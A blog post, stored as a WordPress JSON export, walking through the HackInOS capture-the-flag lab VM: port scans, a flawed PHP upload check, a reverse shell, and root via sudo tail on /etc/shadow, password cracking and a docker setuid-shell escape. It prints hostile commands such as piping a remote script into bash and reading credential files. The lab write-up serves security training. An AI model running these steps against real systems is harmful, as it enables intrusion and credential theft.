{"id":7087,"date":"2019-04-01T10:37:22","date_gmt":"2019-04-01T08:37:22","guid":{"rendered":"https:\/\/www.iprog.it\/blog\/?p=7087"},"modified":"2019-04-15T12:30:42","modified_gmt":"2019-04-15T10:30:42","slug":"hackinos-1-walkthrough","status":"publish","type":"post","link":"https:\/\/www.iprog.it\/blog\/sicurezza-informatica\/hackinos-1-walkthrough\/","title":{"rendered":"CTF: HackInOS Walkthrough"},"content":{"rendered":"<p><a href=\"https:\/\/www.iprog.it\/blog\/varie\/ctf-toppo-walkthrough\/attachment\/ctf-lolz\/\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone  wp-image-7121\" src=\"https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/04\/CTF-lolz-.jpg\" alt=\"\" width=\"448\" height=\"299\" srcset=\"https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/04\/CTF-lolz-.jpg 660w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/04\/CTF-lolz--300x200.jpg 300w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/04\/CTF-lolz--620x413.jpg 620w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/04\/CTF-lolz--624x416.jpg 624w\" sizes=\"auto, (max-width: 448px) 100vw, 448px\" \/><\/a><\/p>\n<h2>Introduction<\/h2>\n<p>Hello dear friends, this is my first CTF walkthrough, I hope you&#8217;ll enjoy It.<\/p>\n<h2><strong>Box Description<\/strong><\/h2>\n<p><a href=\"https:\/\/www.vulnhub.com\/entry\/hackinos-1,295\/\">HackinOS<\/a> is a beginner level CTF style vulnerable machine. I created this VM for my university\u2019s cyber security community and all cyber security enthusiasts. I thank to Mehmet Oguz Tozkoparan, \u00d6mer Faruk Senyayla and Tufan Gungor for their help during creating this lab.NOTE: localhost is meant to be there!<\/p>\n<h2><strong>Scanning and Enumeration<\/strong><\/h2>\n<h5>TCP SCANNING<\/h5>\n<ul>\n<li>nmap -Pn -sS &#8211;stats-every 3m &#8211;max-scan-delay 20 &#8211;defeat-rst-ratelimit -T4 -p- -oN nmapTCP targetIP<\/li>\n<\/ul>\n<p><a href=\"https:\/\/www.iprog.it\/blog\/?attachment_id=7089\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-7089\" src=\"https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-26-alle-23.11.47.png\" alt=\"\" width=\"744\" height=\"134\" srcset=\"https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-26-alle-23.11.47.png 744w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-26-alle-23.11.47-300x54.png 300w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-26-alle-23.11.47-620x112.png 620w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-26-alle-23.11.47-624x112.png 624w\" sizes=\"auto, (max-width: 744px) 100vw, 744px\" \/><\/a><\/p>\n<h5>UDP SCANNING<\/h5>\n<ul>\n<li>nmap -Pn &#8211;top-ports 1000 -sU &#8211;stats-every 3m &#8211;max-retries 1 -T3 -oN udpScan targetIP<\/li>\n<\/ul>\n<p><a href=\"https:\/\/www.iprog.it\/blog\/?attachment_id=7090\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-7090\" src=\"https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-26-alle-23.14.00.png\" alt=\"\" width=\"606\" height=\"696\" srcset=\"https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-26-alle-23.14.00.png 606w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-26-alle-23.14.00-300x345.png 300w\" sizes=\"auto, (max-width: 606px) 100vw, 606px\" \/><\/a><\/p>\n<p>The only interesting thing is the web server that is running on the port 8000. Browsing to <em>http:\/\/TARGGET:8000 we can see that is a showed a WordPress blog, but it doesn&#8217;t render in the proper way. If we inspect the source code we can see that all links point to localhost. T<\/em><em>o fixing this issue we can edit the file <strong>\/etc\/host\u00a0<\/strong><\/em><em>but I want to try something different with burp suite. In the options tab scroll until Match and replace and add a new rule (Replace body), set as first parameter http:\/\/localhost and as second parameter the targetIP. Or we can set the file host\u00a0<\/em><\/p>\n<p><a href=\"https:\/\/www.iprog.it\/blog\/?attachment_id=7091\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-7091\" src=\"https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-26-alle-10.39.56.png\" alt=\"\" width=\"957\" height=\"236\" srcset=\"https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-26-alle-10.39.56.png 957w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-26-alle-10.39.56-300x74.png 300w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-26-alle-10.39.56-620x153.png 620w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-26-alle-10.39.56-768x189.png 768w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-26-alle-10.39.56-940x232.png 940w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-26-alle-10.39.56-624x154.png 624w\" sizes=\"auto, (max-width: 957px) 100vw, 957px\" \/><\/a><\/p>\n<p>Then refresh the page<\/p>\n<p><a href=\"https:\/\/www.iprog.it\/blog\/?attachment_id=7093\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-7093\" src=\"https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-26-alle-23.55.12.png\" alt=\"\" width=\"2350\" height=\"1422\" srcset=\"https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-26-alle-23.55.12.png 2350w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-26-alle-23.55.12-300x182.png 300w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-26-alle-23.55.12-620x375.png 620w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-26-alle-23.55.12-768x465.png 768w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-26-alle-23.55.12-940x569.png 940w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-26-alle-23.55.12-624x378.png 624w\" sizes=\"auto, (max-width: 2350px) 100vw, 2350px\" \/><\/a><\/p>\n<p>Now the blog is rendered in the proper way Yeah!!!<\/p>\n<p>The next step is to study the web app if we inspect the file robots.txt we can see 2 interesting things \/upload.php and \/uploads<\/p>\n<p><a href=\"https:\/\/www.iprog.it\/blog\/?attachment_id=7094\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-7094\" src=\"https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-27-alle-00.03.56.png\" alt=\"\" width=\"878\" height=\"320\" srcset=\"https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-27-alle-00.03.56.png 878w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-27-alle-00.03.56-300x109.png 300w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-27-alle-00.03.56-620x226.png 620w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-27-alle-00.03.56-768x280.png 768w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-27-alle-00.03.56-624x227.png 624w\" sizes=\"auto, (max-width: 878px) 100vw, 878px\" \/><\/a><\/p>\n<p>If we navigate to the uploads page we can notice that we do not have the\u00a0access permission<\/p>\n<p><a href=\"https:\/\/www.iprog.it\/blog\/?attachment_id=7098\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-7098\" src=\"https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-27-alle-09.47.40.png\" alt=\"\" width=\"556\" height=\"221\" srcset=\"https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-27-alle-09.47.40.png 556w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-27-alle-09.47.40-300x119.png 300w\" sizes=\"auto, (max-width: 556px) 100vw, 556px\" \/><\/a><\/p>\n<p>The next step is to inspect the page upload.php, in the source\u00a0 page we have a great <a href=\"https:\/\/github.com\/fatihhcelik\/Vulnerable-Machine---Hint\/blob\/master\/upload.php\">hint<\/a><\/p>\n<p><a href=\"https:\/\/www.iprog.it\/blog\/?attachment_id=7099\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-7099\" src=\"https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-27-alle-09.50.38.png\" alt=\"\" width=\"962\" height=\"930\" srcset=\"https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-27-alle-09.50.38.png 962w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-27-alle-09.50.38-300x290.png 300w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-27-alle-09.50.38-620x599.png 620w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-27-alle-09.50.38-768x742.png 768w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-27-alle-09.50.38-940x909.png 940w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-27-alle-09.50.38-624x603.png 624w\" sizes=\"auto, (max-width: 962px) 100vw, 962px\" \/><\/a><\/p>\n<p>If we go on <a href=\"https:\/\/github.com\/fatihhcelik\/Vulnerable-Machine---Hint\/blob\/master\/upload.php\">github<\/a> we can find the source code for the upload page. the code has some vulnerabilities.<\/p>\n<p><a href=\"https:\/\/www.iprog.it\/blog\/?attachment_id=7106\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-7106\" src=\"https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-29-alle-16.07.40.png\" alt=\"\" width=\"1342\" height=\"950\" srcset=\"https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-29-alle-16.07.40.png 1342w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-29-alle-16.07.40-300x212.png 300w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-29-alle-16.07.40-620x439.png 620w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-29-alle-16.07.40-768x544.png 768w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-29-alle-16.07.40-940x665.png 940w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-29-alle-16.07.40-624x442.png 624w\" sizes=\"auto, (max-width: 1342px) 100vw, 1342px\" \/><\/a><\/p>\n<p>The interesting things are<\/p>\n<ul>\n<li>if($check[&#8220;mime&#8221;] == &#8220;image\/png&#8221; || $check[&#8220;mime&#8221;] == &#8220;image\/gif&#8221;)<\/li>\n<li>md5(basename($_FILES[&#8220;file&#8221;][&#8220;name&#8221;].$rand_number))<\/li>\n<\/ul>\n<p>Try to understand how\u00a0 I used that info for creating the exploit<\/p>\n<h2>Exploitation<\/h2>\n<p>I wrote an <a href=\"https:\/\/github.com\/DiegoCaridei\/HackInOS-1\">exploit<\/a> to get a reverse shell, the only thing that you have to do is set the target IP your local IP and your local Port (Es 443)<\/p>\n<ul>\n<li>nc &#8211; nlvp 443<\/li>\n<li>python exp2.py<\/li>\n<\/ul>\n<h2><a href=\"https:\/\/www.iprog.it\/blog\/?attachment_id=7108\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-7108\" src=\"https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-30-alle-09.10.41.png\" alt=\"\" width=\"1466\" height=\"224\" srcset=\"https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-30-alle-09.10.41.png 1466w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-30-alle-09.10.41-300x46.png 300w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-30-alle-09.10.41-620x95.png 620w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-30-alle-09.10.41-768x117.png 768w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-30-alle-09.10.41-940x144.png 940w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-30-alle-09.10.41-624x95.png 624w\" sizes=\"auto, (max-width: 1466px) 100vw, 1466px\" \/><\/a><\/h2>\n<h2>Post Exploitation and Privilege escalation<\/h2>\n<p>The next step is to escalate the privilege, so I executed used LinEnum to find interesting things:<\/p>\n<p><strong>curl https:\/\/raw.githubusercontent.com\/rebootuser\/LinEnum\/master\/LinEnum.sh | <\/strong>bash<\/p>\n<p><a href=\"https:\/\/www.iprog.it\/blog\/?attachment_id=7109\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-7109\" src=\"https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-30-alle-09.11.51.png\" alt=\"\" width=\"1094\" height=\"426\" srcset=\"https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-30-alle-09.11.51.png 1094w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-30-alle-09.11.51-300x117.png 300w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-30-alle-09.11.51-620x241.png 620w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-30-alle-09.11.51-768x299.png 768w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-30-alle-09.11.51-940x366.png 940w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-30-alle-09.11.51-624x243.png 624w\" sizes=\"auto, (max-width: 1094px) 100vw, 1094px\" \/><\/a><\/p>\n<p>interesting, we can use tail with admin privileges<\/p>\n<ul>\n<li>tail -c1G \/etc\/shadow<\/li>\n<li>cat \/etc\/passwd<\/li>\n<li>save the shadow result into shadow (only root)<\/li>\n<li>john shadow<\/li>\n<li>su root<\/li>\n<\/ul>\n<p><a href=\"https:\/\/www.iprog.it\/blog\/?attachment_id=7110\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-7110\" src=\"https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-30-alle-09.28.11.png\" alt=\"\" width=\"952\" height=\"302\" srcset=\"https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-30-alle-09.28.11.png 952w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-30-alle-09.28.11-300x95.png 300w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-30-alle-09.28.11-620x197.png 620w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-30-alle-09.28.11-768x244.png 768w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-30-alle-09.28.11-940x298.png 940w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-30-alle-09.28.11-624x198.png 624w\" sizes=\"auto, (max-width: 952px) 100vw, 952px\" \/><\/a><\/p>\n<ul>\n<li>Bingo we have the password for root<\/li>\n<li>cat \/root\/flag<\/li>\n<li>Life consists of details<\/li>\n<\/ul>\n<p><a href=\"https:\/\/www.iprog.it\/blog\/?attachment_id=7111\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-7111\" src=\"https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-30-alle-09.29.20.png\" alt=\"\" width=\"550\" height=\"218\" srcset=\"https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-30-alle-09.29.20.png 550w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-30-alle-09.29.20-300x119.png 300w\" sizes=\"auto, (max-width: 550px) 100vw, 550px\" \/><\/a><\/p>\n<p>so the game is not over yet&#8230;Maybe we could get some other info on wordpress\u00a0&#8230;. after digging into wordpress files I found some interesting info into the file wp-config.php<\/p>\n<p><a href=\"https:\/\/www.iprog.it\/blog\/?attachment_id=7112\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-7112\" src=\"https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-30-alle-09.30.33.png\" alt=\"\" width=\"1166\" height=\"468\" srcset=\"https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-30-alle-09.30.33.png 1166w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-30-alle-09.30.33-300x120.png 300w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-30-alle-09.30.33-620x249.png 620w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-30-alle-09.30.33-768x308.png 768w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-30-alle-09.30.33-940x377.png 940w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-30-alle-09.30.33-624x250.png 624w\" sizes=\"auto, (max-width: 1166px) 100vw, 1166px\" \/><\/a><\/p>\n<ul>\n<li>DB_User = wordpress<\/li>\n<li>DB_Password = wordpress<\/li>\n<li>DB_HOST = db:3306<\/li>\n<\/ul>\n<p>To getting the ip from the db host we can use the ping command:<\/p>\n<ul>\n<li>ping db -c 1<a style=\"font-size: 1rem;\" href=\"https:\/\/www.iprog.it\/blog\/?attachment_id=7113\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-7113\" src=\"https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-30-alle-09.32.33.png\" alt=\"\" width=\"1790\" height=\"136\" srcset=\"https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-30-alle-09.32.33.png 1790w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-30-alle-09.32.33-300x23.png 300w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-30-alle-09.32.33-620x47.png 620w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-30-alle-09.32.33-768x58.png 768w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-30-alle-09.32.33-940x71.png 940w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-30-alle-09.32.33-624x47.png 624w\" sizes=\"auto, (max-width: 1790px) 100vw, 1790px\" \/><\/a><\/li>\n<li>mysql -h targetIP -uwordpress -pwordpress<\/li>\n<li>use wordpress<\/li>\n<li>select * from host_ssh_cred;<\/li>\n<\/ul>\n<p><a href=\"https:\/\/www.iprog.it\/blog\/?attachment_id=7114\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-7114\" src=\"https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-30-alle-09.35.13.png\" alt=\"\" width=\"1024\" height=\"216\" srcset=\"https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-30-alle-09.35.13.png 1024w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-30-alle-09.35.13-300x63.png 300w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-30-alle-09.35.13-620x131.png 620w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-30-alle-09.35.13-768x162.png 768w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-30-alle-09.35.13-940x198.png 940w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-30-alle-09.35.13-624x132.png 624w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/p>\n<p>Great now we have the username and the password<\/p>\n<p>hummingbirdscyber<strong>:e10adc3949ba59abbe56e057f20f883e<\/strong><\/p>\n<h2><strong>Google is our friend<\/strong><\/h2>\n<p>Before to try to crack the password I try first to find the clear password on google indeed I found it!!!<br \/>\nhttps:\/\/md5hashing.net\/hash\/md5\/e10adc3949ba59abbe56e057f20f883e<\/p>\n<p>So the credential\u00a0 is\u00a0 hummingbirdscyber:123456<\/p>\n<h2>Access Via SSH<\/h2>\n<ul>\n<li>ssh hummingbirdscyber@ targetIP<\/li>\n<li>Digging around<\/li>\n<li>This time I used another tool <a href=\"https:\/\/github.com\/AlessandroZ\/BeRoot\">beroot\u00a0<\/a><\/li>\n<\/ul>\n<p><a href=\"https:\/\/www.iprog.it\/blog\/?attachment_id=7115\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-7115\" src=\"https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-30-alle-09.39.44.png\" alt=\"\" width=\"1250\" height=\"300\" srcset=\"https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-30-alle-09.39.44.png 1250w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-30-alle-09.39.44-300x72.png 300w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-30-alle-09.39.44-620x149.png 620w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-30-alle-09.39.44-768x184.png 768w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-30-alle-09.39.44-940x226.png 940w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-30-alle-09.39.44-624x150.png 624w\" sizes=\"auto, (max-width: 1250px) 100vw, 1250px\" \/><\/a><\/p>\n<ul>\n<li>docker run &#8211;rm -v \/home\/$USER:\/h_docs ubuntu \\<br \/>\n&gt; sh -c &#8216;cp \/bin\/sh \/h_docs\/ &amp;&amp; chmod +s \/h_docs\/sh&#8217; &amp;&amp; ~\/sh -p<\/li>\n<li>cd \/root<\/li>\n<li>cat flag<\/li>\n<\/ul>\n<p><a href=\"https:\/\/www.iprog.it\/blog\/?attachment_id=7116\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-7116\" src=\"https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-30-alle-09.43.05.png\" alt=\"\" width=\"1512\" height=\"984\" srcset=\"https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-30-alle-09.43.05.png 1512w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-30-alle-09.43.05-300x195.png 300w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-30-alle-09.43.05-620x403.png 620w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-30-alle-09.43.05-768x500.png 768w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-30-alle-09.43.05-940x612.png 940w, https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/Schermata-2019-03-30-alle-09.43.05-624x406.png 624w\" sizes=\"auto, (max-width: 1512px) 100vw, 1512px\" \/><\/a><\/p>\n<p>Yeah we complete the HackInOS machine.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Introduction Hello dear friends, this is my first CTF walkthrough, I hope you&#8217;ll enjoy It. Box Description HackinOS is a beginner level CTF style vulnerable machine. I created this VM for my university\u2019s cyber security community and all cyber security enthusiasts. I thank to Mehmet Oguz Tozkoparan, \u00d6mer Faruk Senyayla&#8230; <a href=\"https:\/\/www.iprog.it\/blog\/sicurezza-informatica\/hackinos-1-walkthrough\/\">Read more &raquo;<\/a><\/p>\n","protected":false},"author":1,"featured_media":7088,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2478,2259],"tags":[2335,2465,2469,2329,2466,2406,2270,2405,2468,2467,2336],"class_list":["post-7087","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ctf","category-sicurezza-informatica","tag-black-hat","tag-ctf","tag-elearnsecurity","tag-ethical","tag-fun","tag-geek","tag-hacking","tag-nerd","tag-oscp","tag-penetration-testing","tag-white-hat"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.7 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>CTF: HackInOS Walkthrough - iProg<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.iprog.it\/blog\/sicurezza-informatica\/hackinos-1-walkthrough\/\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:title\" content=\"CTF: HackInOS Walkthrough - iProg\" \/>\n<meta name=\"twitter:description\" content=\"Introduction Hello dear friends, this is my first CTF walkthrough, I hope you&#8217;ll enjoy It. Box Description HackinOS is a beginner level CTF style vulnerable machine. I created this VM for my university\u2019s cyber security community and all cyber security enthusiasts. I thank to Mehmet Oguz Tozkoparan, \u00d6mer Faruk Senyayla... Read more &raquo;\" \/>\n<meta name=\"twitter:image\" content=\"https:\/\/www.iprog.it\/blog\/wp-content\/uploads\/2019\/03\/HackInOS-00-thumb.png\" \/>\n<meta name=\"twitter:creator\" content=\"@flexkid1\" \/>\n<meta name=\"twitter:site\" content=\"@iprogblog\" \/>\n<meta name=\"twitter:label1\" content=\"Scritto da\" \/>\n\t<meta name=\"twitter:data1\" content=\"Diego\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tempo di lettura stimato\" \/>\n\t<meta name=\"twitter:data2\" content=\"3 minuti\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/www.iprog.it\\\/blog\\\/sicurezza-informatica\\\/hackinos-1-walkthrough\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.iprog.it\\\/blog\\\/sicurezza-informatica\\\/hackinos-1-walkthrough\\\/\"},\"author\":{\"name\":\"Diego\",\"@id\":\"https:\\\/\\\/www.iprog.it\\\/blog\\\/#\\\/schema\\\/person\\\/048c8acb70f8a33f1498675ab9db41a3\"},\"headline\":\"CTF: HackInOS Walkthrough\",\"datePublished\":\"2019-04-01T08:37:22+00:00\",\"dateModified\":\"2019-04-15T10:30:42+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/www.iprog.it\\\/blog\\\/sicurezza-informatica\\\/hackinos-1-walkthrough\\\/\"},\"wordCount\":635,\"commentCount\":0,\"image\":{\"@id\":\"https:\\\/\\\/www.iprog.it\\\/blog\\\/sicurezza-informatica\\\/hackinos-1-walkthrough\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/www.iprog.it\\\/blog\\\/wp-content\\\/uploads\\\/2019\\\/03\\\/HackInOS-00-thumb.png\",\"keywords\":[\"black hat\",\"ctf\",\"elearnsecurity\",\"ethical\",\"fun\",\"geek\",\"hacking\",\"nerd\",\"oscp\",\"penetration testing\",\"white hat\"],\"articleSection\":[\"CTF\",\"Sicurezza 